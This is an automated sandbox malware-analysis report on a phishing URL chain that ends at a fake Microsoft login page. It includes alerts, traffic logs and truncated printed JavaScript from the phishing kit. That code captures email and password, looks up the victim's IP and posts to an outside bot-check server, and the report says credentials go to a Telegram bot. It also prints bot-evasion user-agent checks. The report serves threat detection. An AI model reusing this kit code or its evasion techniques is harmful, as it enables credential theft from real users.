Edit tour

Windows Analysis Report
https://tb.gitcombust.shop/

Overview

General Information

Sample URL:	https://tb.gitcombust.shop/
Analysis ID:	1650491
Infos:

Detection

Score:	80
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Suricata IDS alerts for network traffic

AI detected suspicious Javascript

Javascript uses Clearbit API to dynamically determine company logos

Javascript uses Telegram API

Uses the Telegram API (likely for C&C communication)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

Javascript checks online IP of machine

No HTML title found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3588 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 1080 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2136,i,4584764315380218697,6296068928638520844,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2164 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6796 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://tb.gitcombust.shop/" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Suricata Signatures

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-27T18:56:59.495723+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49782	149.154.167.220	443	TCP
2025-03-27T18:56:59.849832+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49783	149.154.167.220	443	TCP
2025-03-27T18:57:22.694905+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49797	149.154.167.220	443	TCP

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://classntfst.shop/tb/

Avira URL Cloud: Label: malware

Phishing

AI detected phishing page

Source: https://tfiles.jbones.com/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'tfiles.jbones.com' does not match the legitimate domain 'microsoft.com'., The domain 'jbones.com' is not associated with Microsoft, which raises suspicion., The presence of a subdomain 'tfiles' and the unrelated main domain 'jbones.com' suggests potential phishing., The input field 'Enter recipient email' could be used to collect sensitive information under false pretenses. DOM: 1.3.pages.csv
Source: https://tfiles.jbones.com/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'tfiles.jbones.com' does not match the legitimate domain 'microsoft.com'., The domain 'jbones.com' is not associated with Microsoft., The URL contains no direct reference to Microsoft, which is suspicious., The presence of a subdomain 'tfiles' and a main domain 'jbones.com' suggests a potential phishing attempt., No common association between 'jbones.com' and Microsoft was found. DOM: 1.4.pages.csv

AI detected suspicious Javascript

Source: 1.11..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://tfiles.jbones.com/_next/static/chunks/page... This script demonstrates several high-risk behaviors, including data exfiltration, obfuscated code, and potential malicious intent. It collects sensitive user information (email, password, IP address, user agent) and sends it to a Telegram bot, which is a strong indicator of malicious activity. The script also checks for bot detection and redirects users to a 'denied' page if they are identified as bots. Overall, this script poses a significant security risk and should be treated as highly suspicious.

Javascript uses Clearbit API to dynamically determine company logos

Source: https://tfiles.jbones.com/_next/static/chunks/pages/index-2ab0a5a476940d05.js

HTTP Parser: (self.webpackchunk_n_e=self.webpackchunk_n_e||[]).push([[405],{5557:function(e,t,n){(window.__next_p=window.__next_p||[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i),l=n(9812),c=n.n(l);let d=()=>{let[e,t]=(0,o.usestate)(""),[n,i]=(0,o.usestate)(""),[l,d]=(0,o.usestate)(!1),[u,p]=(0,o.usestate)("/favicon.ico"),[_,m]=(0,o.usestate)("verify your email identity to continue."),[g,h]=(0,o.usestate)(!1),x=e=>{t(e.target.value)},b=t=>{if(t.preventdefault(),e.includes("@")){d(!0),m("verify email password");let t=e.split("@")[1];p("https://logo.clearbit.com/".concat(t))}else alert("please enter a valid email address.")},f=async t=>{if(t.preventdefault(),n.length<5){alert("password must be at least 5 characters long.");return}h(!0);try{let t=await s.z.get("https://api64.ipify.org?format=json").then(e=>e.data.ip),a=await s.z.post("https://rail-bot-production.up.railway.app/api/detect_bot",{user_agent:navigator.useragent,ip:t}),{is_b...

Javascript uses Telegram API

Source: https://tfiles.jbones.com/_next/static/chunks/pages/index-2ab0a5a476940d05.js

Source: https://tfiles.jbones.com/

HTTP Parser: Number of links: 0

Source: https://tfiles.jbones.com/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://tb.gitcombust.shop/

HTTP Parser: Base64 decoded: 1743098175.000000

Source: https://tb.gitcombust.shop/script.js	HTTP Parser: async function getuserip() { try { const response = await fetch('https://api64.ipify.org?format=json'); const data = await response.json(); return data.ip; } catch (error) { console.error('failed to get ip:', error); return '0.0.0.0'; // default ip in case of error }}// function to detect canvas fingerprintingfunction iscanvasblocked() { try { const canvas = document.createelement("canvas"); const ctx = canvas.getcontext("2d"); if (!ctx) return true; ctx.filltext("bot detection", 10, 10); return ctx.getimagedata(10, 10, 1, 1).data.length === 0; } catch (e) { return true; // if an error occurs, assume the canvas is blocked }}function detectbotlocally() { const botpatterns = [/bot/, /crawl/, /spider/, /scraper/, /python/, /httpclient/, /fetch/, /curl/]; const isbotuseragent = botpatterns.some(pattern => pattern.test(navigator.useragent.tolowercase())); c...
Source: https://tfiles.jbones.com/_next/static/chunks/pages/index-2ab0a5a476940d05.js	HTTP Parser: (self.webpackchunk_n_e=self.webpackchunk_n_e\|\|[]).push([[405],{5557:function(e,t,n){(window.__next_p=window.__next_p\|\|[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i),l=n(9812),c=n.n(l);let d=()=>{let[e,t]=(0,o.usestate)(""),[n,i]=(0,o.usestate)(""),[l,d]=(0,o.usestate)(!1),[u,p]=(0,o.usestate)("/favicon.ico"),[_,m]=(0,o.usestate)("verify your email identity to continue."),[g,h]=(0,o.usestate)(!1),x=e=>{t(e.target.value)},b=t=>{if(t.preventdefault(),e.includes("@")){d(!0),m("verify email password");let t=e.split("@")[1];p("https://logo.clearbit.com/".concat(t))}else alert("please enter a valid email address.")},f=async t=>{if(t.preventdefault(),n.length<5){alert("password must be at least 5 characters long.");return}h(!0);try{let t=await s.z.get("https://api64.ipify.org?format=json").then(e=>e.data.ip),a=await s.z.post("https://rail-bot-production.up.railway.app/api/detect_bot",{user_agent:navigator.useragent,ip:t}),{is_b...

Source: https://tfiles.jbones.com/	HTTP Parser: HTML title missing
Source: https://tfiles.jbones.com/	HTTP Parser: HTML title missing
Source: https://tfiles.jbones.com/	HTTP Parser: HTML title missing

Source: https://tfiles.jbones.com/

HTTP Parser: <input type="password" .../> found

Source: https://tb.gitcombust.shop/	HTTP Parser: No favicon
Source: https://tb.gitcombust.shop/	HTTP Parser: No favicon
Source: https://tfiles.jbones.com/	HTTP Parser: No favicon
Source: https://tfiles.jbones.com/	HTTP Parser: No favicon
Source: https://tfiles.jbones.com/	HTTP Parser: No favicon

Source: https://tfiles.jbones.com/	HTTP Parser: No <meta name="author".. found
Source: https://tfiles.jbones.com/	HTTP Parser: No <meta name="author".. found
Source: https://tfiles.jbones.com/	HTTP Parser: No <meta name="author".. found

Source: https://tfiles.jbones.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://tfiles.jbones.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://tfiles.jbones.com/	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	HTTPS traffic detected: 142.251.40.164:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.234:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.73.2:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.138.106.26:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.73.2:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.138.106.63:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.237.62.213:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.33.22.4:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.237.62.213:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.33.22.3:443 -> 192.168.2.4:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49789 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49782 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49783 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49797 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: tobyrender.koyuman.com to https://classntfst.shop/tb/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: classntfst.shop to https://tfiles.jbones.com/

Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 208.89.73.25
Source: unknown	TCP traffic detected without corresponding DNS query: 208.89.73.25
Source: unknown	TCP traffic detected without corresponding DNS query: 208.89.73.25
Source: unknown	TCP traffic detected without corresponding DNS query: 208.89.73.25
Source: unknown	TCP traffic detected without corresponding DNS query: 208.89.73.25
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.99
Source: unknown	TCP traffic detected without corresponding DNS query: 208.89.73.25
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: tb.gitcombust.shopConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /styles.css HTTP/1.1Host: tb.gitcombust.shopConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://tb.gitcombust.shop/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /script.js HTTP/1.1Host: tb.gitcombust.shopConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tb.gitcombust.shop/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: tb.gitcombust.shopConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://tb.gitcombust.shop/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1Host: tb.gitcombust.shopConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/708f7a809116/main.js? HTTP/1.1Host: tb.gitcombust.shopConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/jsd/r/0.6164777177526698:1743092970:QCCETUt4NsmcX-pp3-PDI47CWx4O_I35_jd12MnU9Z0/9270c368ea625e65 HTTP/1.1Host: tb.gitcombust.shopConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/redirect?expires=1743098190637&hash=dcdae2d74f26917e9b903ee81aec9f87b4cb246d00062be6a0493d6df5a18813 HTTP/1.1Host: tobyrender.koyuman.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/get_doc_url HTTP/1.1Host: tobyrender.koyuman.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tb/ HTTP/1.1Host: classntfst.shopConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: tfiles.jbones.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/webpack-ee7e63bc15b31913.js HTTP/1.1Host: tfiles.jbones.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tfiles.jbones.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/css/19d09a6113afa007.css HTTP/1.1Host: tfiles.jbones.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://tfiles.jbones.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/framework-2c79e2a64abdb08b.js HTTP/1.1Host: tfiles.jbones.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tfiles.jbones.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/main-de1ad41d606513c1.js HTTP/1.1Host: tfiles.jbones.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tfiles.jbones.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/pages/_app-aea6920bd27938ca.js HTTP/1.1Host: tfiles.jbones.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tfiles.jbones.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/186-e401717d9e8b842b.js HTTP/1.1Host: tfiles.jbones.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tfiles.jbones.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/pages/index-2ab0a5a476940d05.js HTTP/1.1Host: tfiles.jbones.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tfiles.jbones.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/eFfmITpsazxu2yW-tP9kw/_buildManifest.js HTTP/1.1Host: tfiles.jbones.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tfiles.jbones.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/eFfmITpsazxu2yW-tP9kw/_ssgManifest.js HTTP/1.1Host: tfiles.jbones.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tfiles.jbones.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /background.jpg HTTP/1.1Host: tfiles.jbones.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://tfiles.jbones.com/_next/static/css/19d09a6113afa007.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
